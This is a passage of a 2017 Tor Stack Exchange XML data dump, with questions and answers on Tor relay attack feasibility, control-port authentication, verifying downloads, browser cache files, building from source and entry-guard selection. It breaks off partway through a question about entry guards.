  <row Id="14271" PostTypeId="1" AcceptedAnswerId="14273" CreationDate="2017-03-08T20:38:23.963" Score="0" ViewCount="84" Body="&lt;p&gt;Just as a hypothetical attack, assume Eve is using TOR.&#xA;But Eve wishes to take control of the TOR nodes, and so injects a malicious package into the packets she sends to her TOR relay that takes over the servers.&#xA;She creates several different relays in order to infect multiple machines.&#xA;Then, if Eve wishes to eavesdrop on TOR traffic, she can monitor exit nodes if any of the servers she infected is acting as one for other clients, and she can intercept unencrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few questions regarding this...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How feasible are client-side attacks in TOR?&lt;/li&gt;&#xA;&lt;li&gt;Is it feasible to inject such malicious packages into the packets?&lt;/li&gt;&#xA;&lt;li&gt;How feasible is the above attack?&lt;/li&gt;&#xA;&lt;li&gt;What kind of protections does TOR offer to the nodes against attacks from the client?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to be addressed elsewhere, and the attack seems like it could potentially be carried out by organisations intent on monitoring the encrypted traffic.&lt;/p&gt;&#xA;" OwnerUserId="16615" LastActivityDate="2017-03-09T05:13:06.683" Title="Attacks from client-side, &amp; server protections" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14272" PostTypeId="2" ParentId="14146" CreationDate="2017-03-09T04:35:59.197" Score="1" Body="&lt;p&gt;set &lt;code&gt;CookieAuthentication 0&lt;/code&gt;&lt;br&gt;&#xA;if you had &lt;code&gt;HashedControlPassword&lt;/code&gt; removed it&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ telnet 127.0.0.1 9051&#xA;Trying 127.0.0.1...&#xA;Connected to 127.0.0.1.&#xA;Escape character is '^]'.&#xA;AUTHENTICATE&#xA;250 OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16617" LastActivityDate="2017-03-09T04:35:59.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14273" PostTypeId="2" ParentId="14271" CreationDate="2017-03-09T05:13:06.683" Score="2" Body="&lt;p&gt;I assume you're new to information security.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's an exposed service, if there is a bug in the software then there's potential to exploit it.&lt;/li&gt;&#xA;&lt;li&gt;Not in the way you describe, I'd be more concerned about libssl and friends.&lt;/li&gt;&#xA;&lt;li&gt;Not hugely, getting a memory corruption exploit working, especially cross-platform, can be a big challenge. It'd be cheaper to just run lots of relays yourself.&lt;/li&gt;&#xA;&lt;li&gt;Well tested and written code and fortified binaries, and an attempt to make the tor process operate with least authority where possible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, you're talking about an exploit worth $30-$50k (&lt;a href=&quot;https://zerodium.com/program.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser RCE is ~$30k, OpenSSL RCE is ~$50k&lt;/a&gt; so it's probably somewhere in between), putting the time and effort into weaponizing it for various platforms (probably requiring finding and chaining at least one other bug, mem disclosure, etc) all the while running the risk of being caught, having your exploit discovered and burned and then even if you &lt;em&gt;do&lt;/em&gt; succeed you may eventually go to jail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Or&lt;/em&gt; you could just sell the exploit or collect a bug bounty and buy relays legally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing actually reliable (because if it crashes tor the sysadmin might come investigate that coredump) exploits for modern operating systems is actually a lot more difficult than the tech journalists make out and the experts make it look. 0days don't grow on trees, if you mess it up once and crash someones server there's a potential the whole thing will be lost and you'll be back to square one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider also that a lot of Tor relays are operating on Linux and BSD systems, which means that even if you managed to compromise the Tor process, your compromise would only work until the next time the service was restarted. To actually gain persistence you'd need to write a local privilege escalation exploit for all the various platforms you'd weaponised your exploit against, another ~$30k for each platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while it's not impossible it's really not a very economic approach and more likely to be the work of (skilled, bored) chaotic actors rather than someone with an agenda, there are much easier ways to yeild similar results.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-09T05:13:06.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14274" PostTypeId="2" ParentId="14269" CreationDate="2017-03-09T07:50:46.127" Score="0" Body="&lt;p&gt;There is a lot of information about guard relays on the torproject site. Perhaps the first blog post to read is the one called &lt;a href=&quot;https://blog.torproject.org/blog/research-problem-better-guard-rotation-parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;Research problem: better guard rotation parameters&lt;/a&gt;. It was written a few years ago so it's now a bit dated. However, it's still worth reading because it raises questions that are partly answered in &lt;a href=&quot;https://blog.torproject.org/blogs/arma&quot; rel=&quot;nofollow noreferrer&quot;&gt;arma's&lt;/a&gt; two later blog entries titled The &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;lifecycle of a new relay&lt;/a&gt; and &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;Improving Tor's anonymity by changing guard parameters&lt;/a&gt;. In the last mentioned blog entry, you'll read that &quot;we need to extend the guard rotation period to many months&quot; (!). It's better for you to read the blogs than to have the information repeated here. As a side issue, you might have noticed that there has been discussion on the Tails project about keeping guard relay information across independent Tails sessions so as to overcome some of the threats that materialize by having a rapid rotation of guard relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I was unable to find the answer to how question about &lt;em&gt;how many&lt;/em&gt; guard entry relays are (randomly) chosen.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2017-03-09T07:50:46.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14276" PostTypeId="1" CreationDate="2017-03-09T10:17:32.830" Score="1" ViewCount="300" Body="&lt;p&gt;I installed Tor browser from &lt;a href=&quot;https://www.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org&lt;/a&gt; to my Windows machine.&#xA;The size of the browser is 137 MB instead of 65 MB as shown in the installation instructions from the Tor's website. Did I install the real Tor? &#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="16621" LastEditorUserId="88" LastEditDate="2017-03-18T14:14:47.923" LastActivityDate="2017-03-18T14:14:47.923" Title="Download size differs. Did I install the real browser?" Tags="|tor-browser-bundle|windows|tor-install|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14277" PostTypeId="1" CreationDate="2017-03-09T10:26:24.193" Score="2" ViewCount="4367" Body="&lt;p&gt;I want to run and build tor browser using source code of tor-browser  at Tinycore Linux . How can i do it manually so that if i'll make some changes in tor-browser source code that changes should be reflect  when i will test tor-browser at Tinycore Linux. I searched at google  but most of the answer are too old when i followed those answer that did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As given tor browser instructions for run and build using source code for linux  at this website&#xA;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;&#xA;i followed those instruction at TinyCore Linux but those instructions are not launching tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked this link &lt;a href=&quot;http://tinycorelinux.net/4.x/x86/tcz/src/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tinycorelinux.net/4.x/x86/tcz/src/tor/&lt;/a&gt; &#xA;but it is not giving clear solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question are how to run and build tor browser source code at TinyCore Linux?&#xA;How will i check that whatever changes I integrated that will reflect in tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Tinycore at VirtualBox.&#xA;I am newbie in tor browser and tinycore linux&#xA;Any idea will be appreciated&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="16600" LastActivityDate="2017-03-09T12:35:17.133" Title="How to run and build tor browser using source code at Tinycore linux" Tags="|tor-browser-bundle|configuration|tor-install|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14278" PostTypeId="2" ParentId="14276" CreationDate="2017-03-09T10:33:06.487" Score="1" Body="&lt;p&gt;There are at least two questions lurking in your post, so let me try and sort them out.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Could the size of the thing you installed be different from the size&#xA;described on the torproject.org site?&lt;/li&gt;&#xA;&lt;li&gt;How do you know whether the Tor program you have is really the one&#xA;that was made by the Tor project? (Note that I have plagiarized this&#xA;question from the Tor project!)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to be sure that you installed a genuine version of TBB then you &lt;em&gt;must&lt;/em&gt; follow &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;the advice&lt;/a&gt; given by the Tor project developers, and check signatures and so forth. Answering your question about size will not confirm whether you have a genuine copy of TBB. At best, it might tell you that you do not have a genuine copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to the first question. The installation executable that you downloaded from the torproject should have been of the size they described (give or take differences in the way you calculate megabytes). The installation bundle, however, is a compressed package; when you run the installation executable, it will be decompressed and, on my machine at least, the Tor Browser folder contains about 157 Mb of files; in other words, the decompressed bundle is much larger than the installation executable that one downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, having read this, and before you do anything else, you should learn how to verify your installation bundle!&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2017-03-09T10:33:06.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14279" PostTypeId="2" ParentId="14106" CreationDate="2017-03-09T11:24:20.830" Score="1" Body="&lt;p&gt;First you must turn off Firefox's (i.e., Tor Browser's) private browsing mode. Private browsing mode renders &lt;a href=&quot;https://tor.stackexchange.com/questions/9014/is-there-a-way-to-read-tor-bundles-session-cookies#comment14959_9014&quot;&gt;session cookies inaccessible&lt;/a&gt; and does not save temporary files. Go to preferences, choose the Privacy tab, and uncheck &quot;Always use private browsing mode&quot;. Understand that you have now broken several of the features that the good folk at the Tor project have arranged to protect your anonymity!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, use Tor Browser in the way that you are used to with unbundled Firefox. Then search in the cache section of the &lt;code&gt;MAIN-TBB-FOLDER/Browser/TorBrowser/Data/Browser/profile.default&lt;/code&gt; folder. The cache on Linux is the subfolder of profile.default called &lt;code&gt;cache2&lt;/code&gt;. Within that folder, you will find numerous temporary files with long, temporary file names like &lt;code&gt;F4F839C323EEEDE457AA9C383A2B14BED29545DC&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before closing TBB, I copied all the cache files into another directory. Within that other directory, I used the Unix &lt;code&gt;file&lt;/code&gt; command to discover whether the files were videos, jpeg images, etc. Next, I changed the extensions on each file to reflect its format so that I could open them in Windows if I wanted to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I completely reinstalled the Tor Browser Bundle. Why? Because I was unsure whether the browser would be restored to its proper state simply by rechecking the &quot;Always use private browsing mode&quot;. &lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2017-04-02T10:43:49.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14280" PostTypeId="2" ParentId="14269" CreationDate="2017-03-09T11:41:30.520" Score="1" Body="&lt;p&gt;From what I can see from reading the code, it picks &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n79&quot; rel=&quot;nofollow noreferrer&quot;&gt;one guard&lt;/a&gt; if &lt;code&gt;NumEntryGuards&lt;/code&gt; is not defined in the consensus. It is currently defined in the consensus but it is also set to &lt;a href=&quot;https://consensus-health.torproject.org/#consensusparams&quot; rel=&quot;nofollow noreferrer&quot;&gt;one guard&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That guard is kept, by default, for &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n546&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 months&lt;/a&gt; (there is some random variance since it obscures the time the guard was initially picked), if &lt;code&gt;GuardLifetime&lt;/code&gt; were defined in the consensus this would be the value used but it currently isn't defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor picks and tracks 3 potential entry guards, but when it comes to &lt;em&gt;using&lt;/em&gt; the entry guards, it will prefer to use the same entry guard but there may be cases where this might not be safe (e.g. a user has specified an exit to use and the exit is your guard or is in your guard's family). You can see them defined in your &lt;code&gt;state&lt;/code&gt; file in Tor's &lt;code&gt;DataDirectory&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're correct though, regarding the manuals. Since &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17688&quot; rel=&quot;nofollow noreferrer&quot;&gt;#17688&lt;/a&gt; was merged, it should state 1.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-03-12T14:53:15.423" LastActivityDate="2017-03-12T14:53:15.423" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14281" PostTypeId="2" ParentId="14277" CreationDate="2017-03-09T12:35:17.133" Score="1" Body="&lt;p&gt;As to Tiny Core Linux, I can't give specific instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project Wiki provides a guide on &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking#WaystoBuildTorBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to build Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser build process uses a system called Gitian for creating reproducible builds. To follow this method, since you don't have a pre-existing Ubuntu 14.04 installation or virtual machine, you'd be following the &lt;a href=&quot;https://gitweb.torproject.org/builders/tor-browser-bundle.git/tree/vagrant/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;vagrant&lt;/a&gt; build process. Note that it requires use of virtualization which likely won't play well with your already virtualized environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case you may instead have to manually build the &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;patched Firefox&lt;/a&gt;, &lt;a href=&quot;https://gitweb.torproject.org/tor.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor&lt;/a&gt;, &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Button&lt;/a&gt; and &lt;a href=&quot;https://gitweb.torproject.org/tor-launcher.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Launcher&lt;/a&gt; then manually follow the steps that the &lt;a href=&quot;https://gitweb.torproject.org/builders/tor-browser-bundle.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser builder&lt;/a&gt; process automates to create a coherent Tor Browser package. Each of these will have it's own required libraries and build tools, that may not be available in your distro and may need to be manually obtained, built and installed.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-09T12:35:17.133" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14288" PostTypeId="1" CreationDate="2017-03-10T17:33:26.313" Score="2" ViewCount="72" Body="&lt;p&gt;Can we use &lt;code&gt;ddclient&lt;/code&gt; with noip.com (or other ddns services) inside a Whonix VM to connect with our media servers or SSH ports?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know pointing an .onion at our local server makes more sense, but I'm working on something that can't be done over onions.&lt;/p&gt;&#xA;" OwnerUserId="16636" LastActivityDate="2017-03-13T00:00:19.080" Title="Using ddclient in Whonix?" Tags="|configuration|whonix|dns|ssh|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14289" PostTypeId="2" ParentId="14288" CreationDate="2017-03-10T17:56:42.937" Score="1" Body="&lt;p&gt;No, you cannot directly have an incoming clearnet IP. I.e. you cannot use the public clearnet IP of a Tor exit relay to anonymously host a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explanation on incoming connections / opening ports:&lt;br /&gt;&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Ports&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Ports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indirectly works by using VPN with Remote Port Forwarding or pagekite. See:&lt;br /&gt;&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Hosting_Location_Hidden_Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Hosting_Location_Hidden_Services&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer:&lt;br /&gt;&#xA;I am a maintainer of Whonix&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2017-03-10T17:56:42.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14296" PostTypeId="1" AcceptedAnswerId="14300" CreationDate="2017-03-12T16:01:17.747" Score="0" ViewCount="695" Body="&lt;p&gt;What is the main disadvantage(s) of using High security settings as default/all the time if you are mainly using Tor for reading purposes only.(Mostly texts)&lt;br&gt;&#xA;Mainly the issue I only see is font rendering and image displays. Plus JavaScript are not really needed in texts, unless it is to make them fancy. But else, the texts can be still be read as per normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is a good idea, security and usability wise, to use High Security Settings all the time on your Tor browser if you are just going to use it to mainly read stuff all the time? [Also, I won't be watching videos, only images once in awhile.]&lt;/p&gt;&#xA;" OwnerUserId="16667" LastActivityDate="2017-03-12T23:02:47.303" Title="High Security Settings for All sites" Tags="|security|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14297" PostTypeId="1" CreationDate="2017-03-12T18:07:03.027" Score="0" ViewCount="2999" Body="&lt;p&gt;Has anyone successfully scraped/mirrored a site which is offered as a Tor Onion Service? If so, how did you manage? I've been researching this for a few days, and come up empty handed.&lt;/p&gt;&#xA;" OwnerUserId="16668" LastEditorUserId="88" LastEditDate="2017-03-18T14:20:42.187" LastActivityDate="2017-05-18T21:49:52.490" Title="Possible to scrape .onion sites?" Tags="|onion-services|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14300" PostTypeId="2" ParentId="14296" CreationDate="2017-03-12T23:02:47.303" Score="1" Body="&lt;p&gt;The disadvantages are that it disables some functionality, if security is a concern and you don't need the functionality then there's no real disadvantage to using the security slider at the 'High' setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things you'll miss out on are things like site specific fonts (some iconography for some sites is provided as fonts and will result in &lt;a href=&quot;https://en.wikipedia.org/wiki/Mojibake&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mojibake&lt;/a&gt; being diplayed instead since they won't be loaded), which could make navigation difficult. SVG graphics don't display and some mathematical symbols also may not display. Most of this is true for 'Medium' security aswell, with the main difference between 'Medium' and 'High' being if javascript is enabled at all or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If security is a concern and you do not need the functionality that 'High' on the slider disables, I'd recommend using the 'High' setting. Disabling javascript also defeats most fingerprinting techniques. There really is no downside to it if you don't need the extra functionality.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-12T23:02:47.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14302" PostTypeId="2" ParentId="14288" CreationDate="2017-03-13T00:00:19.080" Score="0" Body="&lt;p&gt;This kind of situations is soved as simple as it sounds: use OpenVPN &lt;em&gt;as an onion service&lt;/em&gt;, and inside a fully-functional and feature-rich VPN segment do whatever you wish&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-03-13T00:00:19.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14305" PostTypeId="1" CreationDate="2017-03-13T04:08:41.990" Score="0" ViewCount="85" Body="&lt;p&gt;Using Tor Browser, three links showing from onion dropdown were all listed in France but mail client logged into from that tab says the incoming connection is from RU so wondering how that can be?  If there's a similar question/answer I missed pls point me in the right direction ;-) Tx&lt;/p&gt;&#xA;" OwnerUserId="16675" LastActivityDate="2017-03-13T05:30:02.127" Title="Tor Browser location confusion" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14306" PostTypeId="2" ParentId="14305" CreationDate="2017-03-13T05:30:02.127" Score="1" Body="&lt;p&gt;Two possible options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Out dated GeoIP information, potentially both your local GeoIP database and the sites disagree about the supposed location of the IP address.&lt;/li&gt;&#xA;&lt;li&gt;The onion menu shows the information about the relay in question, which shows where the connection goes &lt;em&gt;in&lt;/em&gt; to the relay, where it comes &lt;em&gt;out&lt;/em&gt; can be somewhere else entirely.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-13T05:30:02.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="1" CreationDate="2017-03-14T11:26:32.733" Score="1" ViewCount="599" Body="&lt;p&gt;Some days ago &lt;a href=&quot;https://tor.stackexchange.com/questions/14269/currently-how-many-entry-guards-does-tor-choose-and-for-how-long-are-they-maint/14280?noredirect=1&quot;&gt;I opened a thread asking how many entry guards Tor Browser currently picks&lt;/a&gt;. I found out, with help from forum volunteers, that the current source code of the stable version of Tor (0.2.9.10) stipulates that Tor has to choose, by default, 1 entry guard. For two reasons: firstly, because the entry guard is chosen by consensus, and &lt;a href=&quot;https://consensus-health.torproject.org/#consensusparams&quot; rel=&quot;nofollow noreferrer&quot;&gt;consensus parameter&lt;/a&gt; &lt;code&gt;NumEntryGuards=1&lt;/code&gt; currently stipulates an entry guard. But, in addition, if the consensus did not stipulate the entry guard, Tor by default has to choose one (this appears in lines &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n79&quot; rel=&quot;nofollow noreferrer&quot;&gt;#79&lt;/a&gt; to &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n85&quot; rel=&quot;nofollow noreferrer&quot;&gt;#85&lt;/a&gt; of the source code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw that, although the source code says that, the &lt;code&gt;Tor directory protocol, version 3&lt;/code&gt;, says that Tor has to choose 3 entry guards by default (this appears in the line &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1837&quot; rel=&quot;nofollow noreferrer&quot;&gt;#1837&lt;/a&gt; of the Tor directory protocol). The explanation is that, perhaps, the &lt;code&gt;Tor directory protocol, version 3&lt;/code&gt;, is outdated. Or at least that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the curious part: I have done several tests with my Tor Browser and I have discovered that normally the software chooses an entry guard (this is in line with the current consensus and with the source code), but sometimes in the &lt;code&gt;state&lt;/code&gt; file I see that Tor Browser has chosen three or two entry guards, and I cannot find the reason. Why does Tor Browser choose three or two entry guards if the software is set to choose one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do the tests, I have reinstalled Tor Browser and I have not changed any settings. I performed the tests under Windows 10 Pro 64-bits and with version 6.5.1 of Tor Browser. I attached the &lt;code&gt;torrc&lt;/code&gt; file &lt;a href=&quot;https://i.stack.imgur.com/pZnsx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; so that you can see the configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I attach screenshots of the &lt;code&gt;state&lt;/code&gt; file, so you can check how Tor Browser sometimes chooses one, two or three entry guards. To change entry guard, I have deleted the contents of the &lt;code&gt;state&lt;/code&gt; file and started the Tor Browser again. The question I want to solve is: Why does Tor Browser sometimes choose one entry guard (most of the time), but sometimes it chooses two or three entry guards? It is very important for me because I'm doing an universitary reserach about Tor and I do not find the reason of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time I started Tor Browser, it chose 3 entry guards. &lt;a href=&quot;https://i.stack.imgur.com/mY4k6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/FqvNH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://imgur.com/a/dqlfC&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fourth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/swE98.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fifth time I started Tor Browser, it chose 2 entry guards. &lt;a href=&quot;https://i.stack.imgur.com/732C6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sixth time I started Tor Browser, it chose 1 entry gurad. &lt;a href=&quot;https://i.stack.imgur.com/w6Z5D.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The seventh time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://imgur.com/a/AqaCI&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eighth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/SSa3g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ninth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/aTuUG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/dQTSE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eleventh time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/oCCjf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The twelfth time I started Tor Borwser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/tW9vT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thirteenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/Z0ikH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fourteenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/mC0IZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fifteenth time I started Tor Browser, it chose 2 entry guards. &lt;a href=&quot;https://i.stack.imgur.com/ZS4Xx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sixteenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/hGVvW.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The seventeenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/OmoZh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eighteenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://i.stack.imgur.com/6QuDC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nineteenth time I started Tor Browser, it chose 1 entry guard. &lt;a href=&quot;https://imgur.com/a/KzKJg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screenshot&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The twentieth time I started Tor Browser, it chose 2 entry guards. &lt;a href=&quot;https://i.stack.imgur.com/DVWI7.jpg&quot; rel=&quot;nofollow 